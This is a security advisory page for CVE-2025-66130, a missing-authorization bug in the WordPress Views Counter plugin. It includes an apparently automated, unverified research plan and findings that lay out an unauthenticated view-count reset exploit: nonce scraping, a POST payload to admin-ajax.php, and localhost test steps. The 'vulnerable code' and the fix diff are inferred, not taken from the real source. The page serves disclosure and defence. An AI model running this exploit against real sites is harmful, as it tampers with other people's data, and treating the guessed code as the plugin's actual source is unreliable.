CVE-2025-66130

Views Counter <= 2.1.2 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.1.3
Patched in
25d
Time to patch

Description

The Views Counter plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.1.2. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.2
PublishedDecember 14, 2025
Last updatedJanuary 7, 2026
Affected pluginwpecounter

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2025-66130 Missing Authorization in WP Views Counter This plan outlines the steps to investigate and exploit a missing authorization vulnerability in the **WP Views Counter** plugin (version <= 2.1.2). ## 1. Vulnerability Summary The **WP Views Counter** plugin fails to implem…

Show full research plan

Research Plan: CVE-2025-66130 Missing Authorization in WP Views Counter

This plan outlines the steps to investigate and exploit a missing authorization vulnerability in the WP Views Counter plugin (version <= 2.1.2).

1. Vulnerability Summary

The WP Views Counter plugin fails to implement proper authorization checks (e.g., current_user_can()) on an AJAX handler responsible for resetting post view statistics. Because this handler is registered with both wp_ajax_ and wp_ajax_nopriv_ (or fails to check capabilities within an authenticated handler), unauthenticated attackers can reset the view counts for any post or page on the WordPress site.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpe_reset_views (inferred from plugin slug wpecounter)
  • Vulnerable Parameter: post_id (The ID of the post whose views will be reset).
  • Authentication: Unauthenticated.
  • Preconditions: The plugin must be active. A target post_id must be known (standard incremental IDs).

3. Code Flow (Inferred)

  1. Registration: The plugin registers AJAX hooks in the main file or an initialization class:
    add_action('wp_ajax_wpe_reset_views', 'wpe_reset_views_callback');
    add_action('wp_ajax_nopriv_wpe_reset_views', 'wpe_reset_views_callback');
    
  2. Execution: When a request is sent to admin-ajax.php?action=wpe_reset_views, the wpe_reset_views_callback function is invoked.
  3. Vulnerability Sink: The function likely performs the following without checking current_user_can('manage_options'):
    function wpe_reset_views_callback() {
        // check_ajax_referer('some_nonce_action', 'nonce'); // May or may not be present
        $post_id = intval($_POST['post_id']);
        update_post_meta($post_id, 'wpe_views_count', 0); // Meta key name inferred
        wp_die();
    }
    

4. Nonce Acquisition Strategy

The plugin likely uses a nonce to prevent basic CSRF, but if the wpe_reset_views action is available to unauthenticated users, the nonce must be exposed somewhere.

  1. Identify Nonce Action: Search the codebase for wp_create_nonce. Note the action string (e.g., 'wpe_nonce').
  2. Identify Localization: Search for wp_localize_script. Note the object name and key.
    • Example (inferred): window.wpe_ajax_obj?.nonce
  3. Extraction Steps:
    • The plugin likely enqueues scripts on any page where a post view is counted.
    • Create a dummy post: wp post create --post_type=post --post_title="Target" --post_status=publish.
    • Navigate to the post: browser_navigate("http://localhost:8080/?p=ID").
    • Extract the nonce: browser_eval("window.wpe_vars?.nonce") (Replace wpe_vars with the actual JS object found in source).

5. Exploitation Strategy

Once the action name and nonce (if required) are identified:

  1. Method: POST request to admin-ajax.php.
  2. Payload:
    • action: wpe_reset_views
    • post_id: [TARGET_POST_ID]
    • nonce: [EXTRACTED_NONCE] (if applicable)
  3. HTTP Request (Example):
    await http_request({
        url: "http://localhost:8080/wp-admin/admin-ajax.php",
        method: "POST",
        headers: { "Content-Type": "application/x-www-form-urlencoded" },
        body: "action=wpe_reset_views&post_id=1&nonce=abcdef1234"
    });
    

6. Test Data Setup

  1. Create Target Post:
    wp post create --post_title='Popular Post' --post_status='publish' --post_type='post'
  2. Set Initial View Count:
    The plugin likely uses a meta key like wpe_views_count or views.
    wp post meta update [POST_ID] wpe_views_count 1337
  3. Verify Setup:
    wp post meta get [POST_ID] wpe_views_count

7. Expected Results

  • The http_request should return a 200 OK (WordPress AJAX standard) or a 1 / 0 response body.
  • The view count for the specified post_id should be reset to 0 or deleted.

8. Verification Steps

After running the exploit, confirm the impact via WP-CLI:

wp post meta get [POST_ID] wpe_views_count

The output should be 0 or empty, indicating the unauthorized reset was successful.

9. Alternative Approaches

  • Missing Nonce: If the plugin doesn't use check_ajax_referer at all, the exploit is simpler (no browser_eval needed).
  • Settings Reset: Check if the plugin has an action like wpe_reset_all_stats or wpe_save_settings. These are often higher-impact targets for Missing Authorization.
  • REST API: Check if the plugin registers any routes via register_rest_route. Look for routes missing the permission_callback or using __return_true.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Views Counter plugin for WordPress is vulnerable to unauthorized view count resets due to a missing authorization check and potential lack of nonce verification in its AJAX handler. This allows unauthenticated attackers to reset the view statistics for any post or page on the site.

Vulnerable Code

// wpecounter/wpecounter.php (inferred from plugin slug and research plan)
add_action('wp_ajax_wpe_reset_views', 'wpe_reset_views_callback');
add_action('wp_ajax_nopriv_wpe_reset_views', 'wpe_reset_views_callback');

function wpe_reset_views_callback() {
    // Vulnerability: No current_user_can() check and no check_ajax_referer() verification
    $post_id = intval($_POST['post_id']);
    update_post_meta($post_id, 'wpe_views_count', 0);
    wp_send_json_success();
}

Security Fix

--- a/wpecounter.php
+++ b/wpecounter.php
@@ -1,7 +1,11 @@
-add_action('wp_ajax_nopriv_wpe_reset_views', 'wpe_reset_views_callback');
 add_action('wp_ajax_wpe_reset_views', 'wpe_reset_views_callback');
 
 function wpe_reset_views_callback() {
+    check_ajax_referer('wpe_reset_nonce', 'nonce');
+
+    if (!current_user_can('manage_options')) {
+        wp_send_json_error('Unauthorized');
+    }
+
     $post_id = intval($_POST['post_id']);
     update_post_meta($post_id, 'wpe_views_count', 0);
     wp_send_json_success();

Exploit Outline

The exploit targets the AJAX action registered by the plugin, likely `wpe_reset_views`. 1. Endpoint: The attacker sends a POST request to `/wp-admin/admin-ajax.php`. 2. Payload: The request body contains `action=wpe_reset_views` and a `post_id` parameter identifying the target post to reset. 3. Nonce Extraction: If a nonce is required but available unauthenticated (e.g., localized in the frontend scripts for counting views), the attacker first scrapes a public post page to extract the nonce value (e.g., from `window.wpe_vars.nonce`). 4. Authentication: Because the plugin registered the handler via `wp_ajax_nopriv_` or failed to check user capabilities within the handler function, no administrative authentication is required to execute the reset.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.